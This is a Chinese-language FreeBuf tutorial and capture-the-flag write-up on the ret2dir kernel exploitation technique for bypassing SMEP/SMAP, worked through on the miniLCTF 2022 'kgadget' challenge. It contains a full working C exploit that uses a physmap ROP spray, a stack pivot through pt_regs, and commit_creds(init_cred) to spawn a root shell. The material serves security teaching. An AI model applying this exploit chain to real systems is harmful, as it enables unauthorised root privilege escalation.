freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

kernel-pwn之ret2dir利用技巧
蚁景科技 2023-07-25 14:53:11 136577
所属地 湖南省

前言

ret2dir是2014年在USENIX发表的一篇论文,该论文提出针对ret2usr提出的SMEPSMAP等保护的绕过。全称为return-to-direct-mapped memory,返回直接映射的内存。论文地址:https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-kemerlis.pdf

ret2dir

SMEPSMAP等用于隔离用户与内核空间的保护出现时,内核中常用的利用手法是ret2usr,如下图所示(图片来自论文)。首先是在内核中找到可以控制指针的漏洞,修改指针使其指向为用户空间,因此在用户空间布置恶意的数据或者代码,完成漏洞的利用。但是当SMEPSMAP保护的出现,在内核态下,不能够执行或者访问用户空间的代码或者数据,导致了该利用方式失效,因为即使在用户空间中部署了payload,在内核态下也无法访问。因此这种通过显示数据的共享方式已经不再适用了。

image-20230706112136937

所以作者提出了一种思路,能否在内核空间中也能够访问到用户空间的数据。作者最终找到了一段区域,可以隐式的访问用户空间的数据。在内核中存在这部分区域direct mapping of all physical memory,物理地址直接映射区。

image-20230706114017524

这个映射区其实就是内核空间会与物理地址空间进行线性的映射,我们可以在这段区域直接访问到物理地址对应的内容。

未命名文件

那么作者就提出了一种攻击场景,由于在虚地址中的内容最终都会映射到物理地址上,若能将用户空间的数据同样映射到这段区域上,岂不是就可以在内核空间也可以访问到用户空间的数据了。该段区域也被称之为phsymap,它是一段大的,连续的虚拟内存区域,它包含了部分或全部的物理内存的直接映射。下图这种情况作者也称之为是虚拟地址别名的情况,因为在用户空间与内核空间中都存在一个地址可以访问payload

未命名文件 (1)

最终作者构想的攻击场景如下图所示(图片来自论文),不同于ret2usr,指针不再被修改为指向用户空间,而是指向了物理地址的直接映射区,由于该映射区指向物理地址,而在用户空间构造的payload也会映射到物理地址,因此若能获得指向存在payload的用户空间对应的物理地址在phsymap位置,就能够直接执行用户空间的payload

image-20230706120102411

想要获得映射地址有以下方法

(1)通过读取/proc/pid/pagemap获取,该文件中存放了物理地址与虚拟地址的映射关系,可是该文件需要root权限才能读取。

image-20230707154728342

(2)通过大量覆盖phsymap内存的方法,提高命中率。使用堆喷技术,在该内存区填充大量的payload这样既不会影响payload的执行,又能够提高命中payload的可能性,填充效果如下图


未命名文件 (3)

在旧版本的内核中phsymap是具有可执行权限的,因此可以在用户空间中填充shellcode,但是如今的内核版本phsymap已经不具备可执行权限了,因此只能在里面填充ROP

miniLCTF_2022-kgadget

题目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/miniLCTF_2022

kgadget_ioctl

kgadget_ioctl中,当我们输入的操作码为0x1BF52时,会将rdx寄存器中的值进行解引用,并且以函数的方式调用该地址,这就导致了任意地址执行。

image-20230707163020808

run.sh

题目提供的run.sh开启了smepsmap的保护,但是没有开启地址随机化KASLR。因此虽然我们可以控制内核执行任意的地址,但是由于题目开启了smepsmap,因此该地址值不能选择为用户空间的地址。

#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smep,+smap \
-smp cores=2,threads=2 \
-kernel bzImage \
-initrd ./rootfs.cpio.gz \
-nographic \
-monitor /dev/null \
-snapshot \
-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
-no-reboot \
-s

ret2dir利用流程

首先是如何执行我们指定的地址值的,可以看到实际是将我们传入的地址,解引用后存放到rbx寄存器,结果通过将rbx寄存器的值移动到栈顶,从而修改栈顶的值,接着调用ret指令,使得执行被解引用的值。

image-20230707165636315

想要使得内核提权,需要执行commit(prepare_kernel_cred(0),接着通过swapgsret指令的组合。因此需要找到一段内存,将该流程的ROP链填充进去。这是因为kgadget_ioctl并不是执行我们传入进去的地址,而是需要将该地址先解引用后再执行,相当于需要执行传入地址对应的内容。因此若我们直接将commit函数的地址传入进去,它会执行commit函数指向的内容。

那么这段区域需要选取在哪里,若我们直接再用户空间中构造这段payload,接着将用户空间地址传递给ioctl是不可行的,因为内核开启了smapsmep的保护,因此对用户空间的访问都是不被允许的。

因此需要用到ret2dir的技巧,由于用户空间的虚拟地址同样会映射到物理地址,而在内核空间存在一段内存被称之为phsymap,它存放着物理地址的内容,因此我们在用户空间填充的内容,可以在phsymap找到。但是这段内存十分庞大,有64TB的大小,我们怎么才能确保搜索到存放我们payload的地址呢?答案就是尽可能的填充,使得我们用户空间的payload尽可能的大,那么我们搜索到的几率也会增大。

image-20230706114017524

我们以页(4096)为单位开辟内存,并且循环了0x4000次,

void copy_dir()
{
char *payload;
payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
for (int i = 0; i < 4096; i++)
payload[i] = 'z';
}
...
int main()
{
...
for(int i = 0; i < 0x4000; i++)
copy_dir();
}

可以发现,在用户空间写入的z值,我们在内核空间同样可以访问到。当然写入的次数以及字节数是可以自己人为调整的,可以频繁尝试,尽可能的大的填充,这样我们找到的几率也更大。

image-20230707171617202

当然有时候页的大小页不一定是4096,因此可以使用getconf PAGESIZE获得页的大小

image-20230707171839966

因此我们已经找到能够访问到用户空间payload的内核地址值,接着需要将内核栈的空间迁移到phsymap上,这是因为用原来的内核栈无法使得连续gadget之间的调用。这里修改为测试gadget,用于测试不做栈迁移会发生什么。

unsigned long *payload;
payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
payload[0] = 0xffffffff8108c6f0; //pop_rdi;ret;
payload[1] = 0xffffffff8108c6f0; //pop_rdi;ret;

可以看到执行一次pop rdi; ret,这是因为ret指令会将当前栈顶的值弹出栈,而我们输入的值不再栈上,而是在phsymap上。因此当我们输入的ROP链不再栈上时,就需要使用栈迁移。

image-20230707173324894

由于内核中存在着需要改变rsp寄存器的gadget,只要使用add rsp, xxx; ret即可完成栈迁移。因此需要在栈上填入phsymap的地址,使得经过add rsp, xxx后能够使得rsp指向phsymap。为了使得栈上能够存储phsymap的地址,这里需要借助一个结构体pt_regs

struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

可以看到这个结构体存放了一系列的寄存器,这是因为在进行系统调用时,会完成从用户态到内核态的切换,因此需要保存用户态时的上下文寄存器,而这些寄存器的值都需要保存在pt_regs中。使用下述代码测试上述pt_regs结构体存放的位置。

target =  0xffff888000000000 + 0x6000000;
__asm(
".intel_syntax noprefix;"
"mov r15, 0x15151515;"
"mov r14, 0x14141414;"
"mov r13, 0x13131313;"
"mov r12, 0x12121212;"
"mov r11, 0x11111111;"
"mov r10, 0x10101010;"
"mov r9, 0x99999999;"
"mov r8, 0x88888888;"
"mov rax, 0x10;"
"mov rcx, 0xcccccccc;"
"mov rdx, target;"
"mov rsi, 0x1BF52;"
"mov rdi, fd;"
"syscall;"
".att_syntax;"
);

可以看到我们在执行系统调用之前的参数,都会以pt_regs结构体中的顺序进行存放,这里需要注意的是r11寄存器用来存放了rflags的值。

image-20230708013246949

不过出题者在会对pt_regs结构体中的部分寄存器的值进行修改。

image-20230708013612568

最后只剩下r8r9寄存器是可控的。但是只是用两个寄存器的值就足于完成栈迁移的操作了。

image-20230708013703427

这里可以计算一下栈顶到r9寄存器的距离0xffffc9000021ff98 - 0xffffc9000021fed0 = 0xc8,因此找到add rsp 0xc0的寄存器即可,因为ret指令还会进行一次弹栈操作。这里一开始是使用extract-image.sh进行提取,但是会报错。因此改用vmlinux-to-elf,这个工具提取出的符号比较全。工具的地址为https://github.com/marin-m/vmlinux-to-elf

image-20230708014733241

提取出来就可以愉快的获取gadget。由于没找到add 0xc8gadget,因此找了个平替的。再结合pop rsp; ret指令即可完成栈迁移的操作。

add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
pop rsp; ret;

接着需要考虑堆喷的填充大量内存,因为题目没有开启地址随机化,因此即使不使用堆喷,也能够定位到具体的地址,但是实际情况是该地址可以随机,因此需要确保落入到其他地址也能完成利用。由于第一条指令必须是add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;,因为需要进行栈迁移。因此在一页的内存中,因使用尽量多的该指令进行填充,确保栈迁移的正常执行。

由于完成提权的payload需要0x58的大小,而该指令会将rsp抬高0xc0,因此用(4096 - 0x58 - 0xc0) / 8 = 0x1dd,因此这里循环复制该指令0x1dd次,接着将剩余空间使用ret指令(常用的堆喷的指令)填充(这里使用了xor esi , esi; ret,因为异或操作不影响。)

for (int i = 0; i < 0x1dd; i++)
payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
for (int i = 0; i < 24; i++)
payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;

最后是在提权时没找到合适gadgetprepare_kernel_cred的返回值即rax寄存器的值,移动到rdi寄存器中。因此学了下出题者的wp,发现出题者使用了init_cred结构体作为commit_creds函数的参数。

init_cred是 Linux 内核中的一个结构体,用于表示进程的初始凭证。它包含了与进程相关的安全属性和权限信息。,init_cred结构体通常用于表示初始的 root 凭证。因此只需要借助一个pop rdi;retgadget加上init_cred结构体的地址就可以完成root凭证的初始化了。

exp

最后完整的exp如下

#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>

#define COLOR_NONE "\033[0m" //表示清除前面设置的格式
#define RED "\033[1;31;40m" //40表示背景色为黑色, 1 表示高亮
#define BLUE "\033[1;34;40m"
#define GREEN "\033[1;32;40m"
#define YELLOW "\033[1;33;40m"

/*

0xffffffff81488561: add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
0xffffffff810c92e0: T commit_creds
0xffffffff810c9540: T prepare_kernel_cred
0xffffffff81224afc: xor esi, esi; ret;
0xffffffff8108c6f0: pop rdi; ret;
0xffffffff82a6b700 D init_cred;
0xffffffff81c00fb0 T swapgs_restore_regs_and_return_to_usermode
0xffffffff811483d0: pop rsp; ret;
*/
int fd;
unsigned long user_ss, user_cs, user_sp, user_rflags;
unsigned long target;
unsigned long target1;

void save_state();
void copy_dir();
void back_door();

void back_door()
{
printf(RED"getshell");
system("/bin/sh");
}

void copy_dir()
{

unsigned long *payload;
unsigned int index = 0;
payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
for (int i = 0; i < 0x1dd; i++)
payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
for (int i = 0; i < 24; i++)
payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;
payload[index++] = 0xffffffff8108c6f0; // pop rdi ret
payload[index++] = 0xffffffff82a6b700; //init_cred
payload[index++] = 0xffffffff810c92e0; //commit_creds
payload[index++] = 0xffffffff81c00fb0 + 0x1b; //swapgs_restore_regs_and_return_to_usermode
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)back_door;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;

}

void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_ss, ss;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
printf(RED"[*]save state\n");
printf(BLUE"[+]user_ss:0x%lx\n", user_ss);
printf(BLUE"[+]user_cs:0x%lx\n", user_cs);
printf(BLUE"[+]user_cs:0x%lx\n", user_sp);
printf(BLUE"[+]user_rflags:0x%lx\n", user_rflags);
printf(RED"[*]save finish\n");
}

int main()
{
save_state();
fd = open("/dev/kgadget", O_RDWR);
/*
for(int i = 0; i < 0x4000; i++)
copy_dir();
*/

target =  0xffff888000000000 + 0x6000000;
__asm(
".intel_syntax noprefix;"
"mov r15, 0x15151515;"
"mov r14, 0x14141414;"
"mov r13, 0x13131313;"
"mov r12, 0x12121212;"
"mov r11, 0x11111111;"
"mov r10, 0x10101010;"
"mov r9, 0xffffffff811483d0;"
"mov r8, target;"
"mov rax, 0x10;"
"mov rcx, 0xcccccccc;"
"mov rdx, target;"
"mov rsi, 0x1BF52;"
"mov rdi, fd;"
"syscall;"
".att_syntax;"
);

}

更多网安技能的在线实操练习,请点击这里>>


# CTF # SMEP # SMAP # pwn
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 907 文章数
  • 675 关注者
蚁景科技荣膺双项殊荣,引领网络安全教育新潮流
2025-03-28
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18
文章目录